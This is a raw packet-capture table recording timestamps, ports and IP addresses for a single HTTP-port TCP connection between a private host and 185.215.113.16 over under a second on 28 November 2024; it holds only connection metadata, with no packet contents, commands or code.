Nov 28, 2024 13:09:57.559459925 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.559987068 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.560074091 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.560187101 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.560765028 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.560899973 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.560961008 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.561539888 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.561666012 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.562335968 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.562344074 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.562455893 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.562503099 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.563183069 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.563349009 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.563963890 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.564007998 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.564043045 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.564675093 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.564697981 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.564805984 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.565272093 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.565466881 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.565581083 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.566241026 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.566334963 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.566384077 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.567027092 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.567163944 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.567215919 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.567851067 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.612246037 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.686938047 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.686966896 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.687114000 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.687263966 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.687320948 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.687383890 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.687931061 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.688045979 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.688270092 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.688673019 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.689042091 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.689107895 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.689229965 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.689377069 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.689728022 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.689963102 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.690007925 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.690041065 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.690521955 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.690785885 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.703700066 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.703768969 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.703779936 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.703908920 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.704118967 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.704168081 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.704180956 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.704222918 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.704240084 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.705077887 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.705120087 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.705138922 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.705183983 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.706070900 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.706120014 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.706126928 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.706134081 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.706167936 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.707077980 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.707156897 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.707169056 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.707215071 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.708026886 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.708074093 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.708080053 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.708091974 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.708693027 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.709160089 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.709217072 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.709229946 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.709278107 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.710010052 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.710057974 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.710068941 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.710108995 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.710918903 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.710973978 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.710987091 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.711924076 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.711971045 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.712007046 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.712019920 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.712165117 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.712908030 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.712960958 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.712973118 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.713618040 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.713848114 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.713875055 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.713886976 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.713900089 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.713927984 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.714833975 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.714915991 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.714927912 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.715610027 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.715800047 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.715856075 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.715867996 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.715902090 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.715917110 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.716772079 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.716809034 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.716820955 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.716864109 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.717977047 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.717993975 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.718004942 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.718022108 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.718049049 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.718760014 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.718806982 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.718818903 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.718872070 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.719767094 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.719784975 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.719795942 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.719836950 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.720665932 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.720720053 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.720731974 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.721204996 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.721642017 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.721664906 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.721678019 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.721703053 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.721729994 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.722614050 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.722666979 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.722678900 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.722913027 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.723690033 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.723783970 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.723794937 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.723803043 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.723829985 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.724582911 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.724600077 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.724637985 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.724684000 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.725611925 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.725864887 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.725878000 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.725894928 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.725908041 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.725960016 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.727030039 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.727041960 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.727051973 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.727101088 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.727816105 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.727917910 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.727930069 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.727973938 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.728832960 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.728873968 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.728879929 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.728885889 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.729620934 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.729779005 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.729845047 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.729949951 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.730426073 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.730767965 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.730866909 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.730879068 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.730914116 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.730936050 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.731796026 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.731838942 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.731851101 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.731899023 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.732824087 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.732881069 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.732983112 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.784169912 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.879105091 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.879132986 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.879149914 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.879393101 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.879445076 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.879466057 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.879478931 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.879524946 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.880381107 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.880405903 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.880415916 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.880454063 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.881345034 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.881407022 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.881422997 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.881479025 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.881524086 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.882378101 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.882453918 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.882658005 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.895683050 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.895821095 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.895833015 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.895870924 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.895924091 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.895945072 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.896953106 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.897020102 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.897032022 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.897077084 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.897630930 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.897672892 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.897684097 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.897713900 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.898586035 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.898643970 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.898655891 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.898693085 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.898721933 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.899528027 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.899580956 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.899591923 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.899631023 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.900609016 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.900659084 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.900662899 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.900671959 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.900710106 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.901531935 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.901582956 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.901595116 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.901638985 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.902456999 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.902513981 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.902520895 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.902523994 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.902820110 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.903474092 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.903538942 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.903551102 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.903594971 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.904447079 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.904472113 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.904484987 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.904539108 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.904563904 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.905396938 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.905458927 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.905472040 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.905538082 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.906424999 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.906474113 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.906486034 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.906505108 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.906537056 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.907383919 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.907397985 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.907411098 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.907440901 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.908302069 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.908350945 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.908364058 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.908396006 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.908426046 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.909353971 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.909404039 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.909416914 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.909459114 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.910299063 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.910320997 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.910334110 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.910375118 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.911256075 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.911297083 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.911309958 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.911335945 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.912247896 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.912321091 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.912333012 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.912354946 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.912367105 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.913193941 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.913244009 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.913255930 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.913300037 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.914165974 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.914211988 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.914222002 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.914226055 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.914293051 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.915134907 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.915195942 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.915208101 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.915266037 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.916131020 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.916167974 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.916179895 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.916181087 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.916310072 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.917110920 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.917151928 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.917165995 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.917207956 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.918055058 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.918100119 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.918387890 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.918437958 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.918451071 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.918498039 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.919437885 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.919483900 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.919487000 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.919498920 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.919543028 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.920317888 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.920388937 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.920401096 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.920439005 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.921566963 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.921616077 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.921628952 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.921653032 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.921677113 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.922346115 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.922359943 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.922370911 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.922403097 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.923279047 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.923326015 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.923337936 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.923372984 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.923398972 CET	49745	80	192.168.2.4	185.215.113.16
